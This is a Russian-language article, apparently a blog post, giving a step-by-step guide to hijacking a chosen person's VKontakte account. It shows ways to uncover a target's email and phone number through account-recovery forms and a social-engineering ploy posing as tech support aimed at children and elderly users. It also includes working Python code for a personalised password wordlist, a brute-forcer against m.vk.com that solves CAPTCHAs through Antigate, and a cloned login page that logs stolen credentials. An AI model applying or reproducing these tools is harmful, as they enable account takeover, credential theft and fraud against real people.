Как взломать Вконтакте?!

Как взломать Вконтакте?!

Toshnota

Наконец-то!!! Cкажут десятки/сотни школьников(и не очень), долгое время терроризировавших мои контакты. Еще раз повторяю, я не ломаю вконтактик за деньги, но для тех кому все-таки неймется, была написана эта статья.

Итак, как же взломать Вк?

Простой ответ - никак! Более полный - если учесть, что большинство пользователей совершают ошибки, то взлом возможен, но не путаем понятия. Уязвимости, позволяющей взламывать абсолютно любого юзера за пять сек нет и не будет. А если и будет, то никто не собирается вам ее предлагать. Поэтому, те способы, которые я представлю ниже, тем или иным образом направлены на обман юзера и используют отсутствие у него мозга.

Разделим весь процесс на несколько этапов. Первоначально нам понадобится цель,свободное время, безопасный доступ к вк(если хотим сохранить анонимность конечно) и можем приступать.

----------------------------


Этап №1 - "Сбор информации"

На этом этапе мы имеем страницу юзера, которого бы желательно взломать и нам необходимо собрать, как можно больше полезной информации, которая бы впоследствии помогла в успешном взломе.

Что же такого имеется на странице?

1) Урл страницы. Сохраняем себе айди или если там имеется буквенная замена, то ее. Аккаунты и прочее данного человека, всякого рода твиттеры и прочее.

2) Разумеется мы бы хотели заиметь почту цели.

Писать ему/ей напрямую и выпытывать? В большинстве случаев это не потребуется. Если человек не только попал в сеть, вы сможете найти почту путем простого гугления. Например особо удобно отыскивать мыло на мэйл ру. Один из способов - это просто погуглить фио цели и дату рождения. Или же другого рода такие комбинации. Если цель имеет мой мир на маиле, то почта будет в коде страницы или же в урл.

Если просто имеется почта без соц.сети от мейла ее тоже можно запросто выяснить зарегавши себе другую почту на этом сервисе и поискав в мессенджере от мэйла.

И как вариант вы можете поискать полезную информацию с помощью имеющихся у цели аккаунтов. То есть берем например никнейм в Твиттере/Фейсбуке/другое и пробиваем по популярным почтовым сервисам. Также в Твиттере можно использовать форму восстановления и узнать часть почты. В фейсбуке можно напрямую поискать аккаунт введя почту в поиск. И в некоторых сервисах есть такая штука, как импорт почтовых контактов и предложение добавить этих людей в друзья. То есть можно зарегать левую почту и узнать дополнительные аккаунты.

Если почта не была запалена сразу, то найти ее можно только так с помощью последовательного поиска полезной информации.

3) Телефон.

А как же узнать номер человека? Если исключить такие варианты, как публикация юзером своего номера на странице(есть и такие) и например использования им телефона для связи в каком-либо проекте, где он выложен в открытую(Авито/Свой сайт/Покупка или продажа недвижимости/Другое), то остается лишь этот вариант.

Есть такой, не сказать открытый, но достаточно простой способ, позволяющий узнать номер юзера, если у вас имеется несколько его аккаунтов, привязанных к одной и той же почте.

Приведу пример:

Имеется почта юзера на маиле. Вводим ее в форму восстановления вконтакте и нам пишет часть номера. Вводим также ее на маиле в восстановлении. И если номер там привязан, то вы увидите уже, другую часть номера. Если почта не привязана, то тогда там есть секретный вопрос. Перебираем его и заставляем юзера привязать мобилку на сервис.

Теперь у вас не хватает лишь двух цифр от почты. Чтобы их узнать достаточно перебрать форму восстановления вк уже с помощью номера. Всего-то 99 раз. Можно и автоматизировать. А когда будет запрашивать фамилию страницы, как доп защиту, запросто вводим ее. Ведь мы же знаем страницу цели.

Также в некоторых случаях люди любят публиковать свой номер на странице, но закрывать часть номера звездочками, черточками и тд. Это тупость еще та. Если вам повезет, то будут незакрыты именно те цифры, которые вам недоступны в форме восстановления вк.


Этап №2 - "Собственно взлом"

В данном этапе вы должны получить доступ к аккаунту цели. Я опишу самые простые способы.

Основные способы:

1) "Социнженер"

Сразу скажу этот способ годится либо для совсем школьников, либо наоборот для стариков, которые мало что знают об интернете, но решили по каким-либо причинам зарегаться в соц.сети.

Если вы хотите просто попрактиковаться, то новички вк могут быть найдены

здесь - vk.com/catalog.php

В основном тут используется простой механизм. Человек, который не разбирается в чем-то, подсознательно доверяет более опытным юзерам/админам/техподдержке и принимает их слова на веру.

Тут можно создать аккаунт представителя техподдержки, создать "официальную" почту администрации и прочее. И придумать некую ахуительную историю. Что новые юзеры обязаны проходить проверку после регистрации и дать например ссылку на некий тест, по итогу или для входа которого требуется логин-пасс от вк. Главное в общем-то не заострять внимание на пароле. Просто писать,что можете ли вы написать мне свои данные от аккаунта не стоит. Следует убедить пользователя, что он в безопасности. Этот способ хорошо сочетается с фейком. Кроме того продвинутые социнженеры могут узнав номер юзера позвонив(разумеется анонимно, используя sip) и развести напрямую. Кроме того все извлеченная вами информация, например известный вам номер телефона/упоминание фактов с указанием дат/другое косвенно говорит о том, что вы из техподдержки(для лохов) или кулхацкер, как мы знаем.

В данном способе все зависит от вас, поэтому вы можете прокачать свои навыки на разного рода новичках в вк, а потом переходить к более-менее обычным юзерам.


2) "Умный брутфорс"

Брутфорс - это перебор пароля, кто не в курсе. Данная атака сработает, если наша цель - среднестатический юзер, который ставит слабые пароли на свои аккаунты, для более легкого запоминания.

Для него нам понадобится, заточенный исключительно под нашего юзера словарь. Такой неоткуда не возьмешь, поэтому составляем сами. Что у нас есть?

Представлю примеры(персонаж вымышленный).

-- Дата рождения - 17.11.1992 = 1711, 1992, 17111992 

-- Возраст - 2016 - 1992 = 24

-- Имя - Стас = stas, ctac

-- Фамилия - Курягин = kuryagin,

-- Аккаунты - twitter.com/stasik_ku , facebook.com/stasss1992, stasss92 @ mail.ru = stasik_ku, stasss1992, stasss92

-- Увлечения - футбол, плавание, молодежка = football, swimming, molodejka, molodegka

Также есть страница вк, на которой написано какие пароли следует указывать, какие символы возможны и самые частые пароли. https://vk.com/page-777107_1000339

Получился лист из 14 строк. Но из него еще нужно создать комбинации паролей, которые мог бы создать недалекий юзер.

Представляю вам мой небольшой скрипт на python, который этим и занимается.

#! coding:utf-8

import sys,os

razdel = ['_',':',';']

def uniq(seq):

  seen = set()

  seen_add = seen.add

  return [x for x in seq if not (x in seen or seen_add(x))]

def brute_words(spisok):

  spisok2 = []

  

  for i in spisok:

    spisok2.append(i)

    spisok2.append(i[0].upper()+i[1:])

    spisok2.append(i[0].upper()+i[1:-1]+i[-1].upper())

    spisok2.append(i.upper())

    for j in spisok:

      spisok2.append(i+j)

      for m in razdel:

        spisok2.append(j+m+i)

      spisok2.append(j+i)

      spisok2.append(i+i+j)

      spisok2.append(j+j+i)

      spisok2.append(i[0].upper()+i[1:]+j)

      spisok2.append(i[0].upper()+i[1:-1]+i[-1].upper()+j)

  

  return uniq(spisok2)


def generate(spisok_file):

  o = open(spisok_file,'r')

    

  spisok = o.read().splitlines()

  for i in brute_words(spisok):

    print i

def main():

  try:

    argv1 = sys.argv[1]

    generate(argv1)

  except IndexError:

    print "Нужно указать файл"

  except IOError:

    print "Нет такого файла"


if __name__ == "__main__":

  main()

Из 14 получилось 1272 варианта. Приведу часть.

Molodegkactac

MolodegkActac

molodejka_molodegka

Stasss92molodejka

stasss92molodegka

molodegka_stasss92

molodegka:stasss92

molodegka;stasss92

stasss1992swimming

swimming_stasss1992

Kurayginctac

KuraygiNctac

kurayginkuraygin

kuraygin_kuraygin

molodegka17111992

1711199217111992molodegka

molodegkamolodegka17111992

24

1711_24

и тд...

Но что же с этим делать? Не сидеть же и перебирать вручную каждый пароль.

Разумеется, необходимо все более или менее автоматизировать.

Для этой цели я набросал небольшой скрипт, который брутит через мобильную версию вк.

#! coding: utf8

import grab,re,urllib2

from antigate import AntiGate

from grab import GrabTimeoutError

from time import sleep

cap_key = '123 ' #Ваш ключ с антигейт

def anti(key, file): #Получение решения капчи с антигейт

  try:

    try:

      data = AntiGate(key, file)

      return data

    except KeyboardInterrupt:

      print "Завершение"

  except:

    anti(key,file)


def save(url, file): #Скачивание файла по урл

  f = urllib2.urlopen(url)

  f2 = open(file, 'wb')

  f2.write(f.read())

def cap_solve(img):

  save(img, 'captcha.jpg')

  key = anti(cap_key, 'captcha.jpg')

  return key

def brute(login,passwords,save):

  o = open(save,'w')

  o2 = open(passwords,'r')

  try:

    int(login)

    prefix = True

  except:

    prefix = False

  g = grab.Grab()

  g.go('http://m.vk.com')

  

  for i in o2:

    

    i2 = i.rstrip('\r\n')

    g.doc.set_input('email',login)

    g.doc.set_input('pass',i2)

    g.doc.submit()

    if g.doc.text_search(u'captcha'):

      c1 = re.findall('"(/captcha.php[^"]*)"', g.response.body)[0]

      c2 = 'http://m.vk.com' + c1

      key = cap_solve(c2)

      g.doc.set_input('email',login)

      g.doc.set_input('pass',i2)

      g.doc.set_input('captcha_key',str(key))

      g.doc.submit()

      print "cap"

    if 'Подтвердить' in g.response.body:

      if prefix:

        prefix1 = g.doc.rex_search('<span class="field_prefix">\+[0-9]*</span>').group(0)

        prefix2 = g.doc.rex_search('<span class="field_prefix">&nbsp;[0-9]*</span>').group(0)

        pre1 = re.findall('[0-9]{1,}', prefix1)[0]

        pre2 = re.findall('[0-9]{1,}', prefix2)[0]

      

        login = login.replace(pre1,'')

        login = login.replace(pre2,'')

      

        g.set_input('code', login)

        g.submit()

        print login + ':' + i2 + '--success'

        o.write(login + ':' + i2 + '\n')

      else:

        o.write(login + ':' + i2 + '\n')

    else:

      if g.doc.rex_search('<title>[^>]+</title>').group(0) == '<title>Login | VK</title>':

        print login + ':' + i2 + '--fail'

      else:

        print login + ':' + i2 + '--success'

        o.write(login + ':' + i2 + '\n')

  o.close()

  o2.close()

Он для одиночной цели, не стал делать прокси,многопточность и прочие фишки.

А то школьники еще поломают кого)

За то он может сам ввести недостающие цифры в защиту вк заходе с другой страны. Также с помощью антигейт запросто вводит капчи, которые появляются после 5-6 попытки ввода с одного айпи.


3) "Фейк наше все"

Данный способ предназначен для невнимательных людей. По большей части их либо завлекают халявой, либо отвлекают внимание с помощью многобукв. Я покажу вам, как создать простой фейк на основе обычного сайта вк(страницы логина). Можете брать, как мобильную, так и основную версии зависит от того, с какого устройства будет заходить юзер.

Насчет регистрации на хостинге и покупки похожего домена ничего писать не буду, так как это банально просто.


----

Ручной способ:

Первым делом качаем страницу логина вк через ваш браузер. Затем смените кодировку html файла на utf-8.

Сначала определяем кодировку

file --mime-encoding file.html

Затем меняем с исходной на новую

iconv -f iso-8859-1 -t utf-8 file.html > vk2.html

Далее вам нужно создать управление страницей на серверном языке. Для этой цели

я также использовал python. Можно заюзать простейший фреймворк под названием bottle. Его плюс, в том что ему не нужны никакие зависимости. Просто качаете файл скрипта с сайта и все.

@route('/')

def index():

  return template('vk2.html')

@route('/Welcome! | VK_files/<filepath:path>')

def server_static(filepath):

  return static_file(filepath, root='./Welcome! | VK_files/')

После тестового запуска скрипта обнаружилась ошибка 404 на кое-каких файлах.

У нас к сожалению не имеется нужных картинок с сайта. Давайте положим их в отдельную папку images.

mkdir images

cd images

wget http://vk.com/images/hatf_vk.gif

wget "http://vk.com/images/darr_dd_out.gif"

wget "http://vk.com/images/backlink.gif"

mkdir icons

cd icons

wget "http://vk.com/images/icons/facebook_btn_icon.png"

wget "http://vk.com/images/icons/check.gif"

Пропишем новый роутинг в скрипте.

@route('/images/<filepath:path>')

def server_static(filepath):

  return static_file(filepath, root='./images/')


Теперь все стало на порядок красивее. Вы конечно можете скачать также основные страницы, на которые можно перейти с основной не залогинившись, чтобы было правдоподобней(а потом поменять ссылки в основной), но и одной хватит.

Чего же не хватает? Ах да конечно. После логина ничего не происходит. Давайте изменим это.

Добавим роутинг для пост запроса. Найдем форму логина на странице. Изменим в ее коде action на пустое и удалим проверку onsubmit. И добавим обработку post-запроса.

@post('/')

def index():

  login = request.forms.get('email')

  password = request.forms.get('pass')

  print "|Catch|-------------- " + login + ':' + password

  with open("log.txt", "a") as myfile:

    myfile.write(login + ':' + password + "\n")

  

  return redirect('http://www.vk.com')


Так работает. Правда пока лишь после нажатия enter, но не по клику кнопки.

Переносим тег button, что под формой в коде в пределы формы и добавляем свойство type="submit".

После этого кнопка работает, как надо.

Архив с готовым решением.


--

Автоматический способ:

Если хотите использовать уже готовое решение, то можно воспользоваться тулкитом SET. Social Engineer Toolkit. Входит в дистрибутив кали. Можно установить на обычный debian на сервере, используя репы kali или установив все зависимости по отдельности.

Используем функцию site cloner в составе set. В нем есть дополнительные возможности, такие как встраивание вредоносных скриптов прямо в страницу или же добавление опасных flash.

Report Page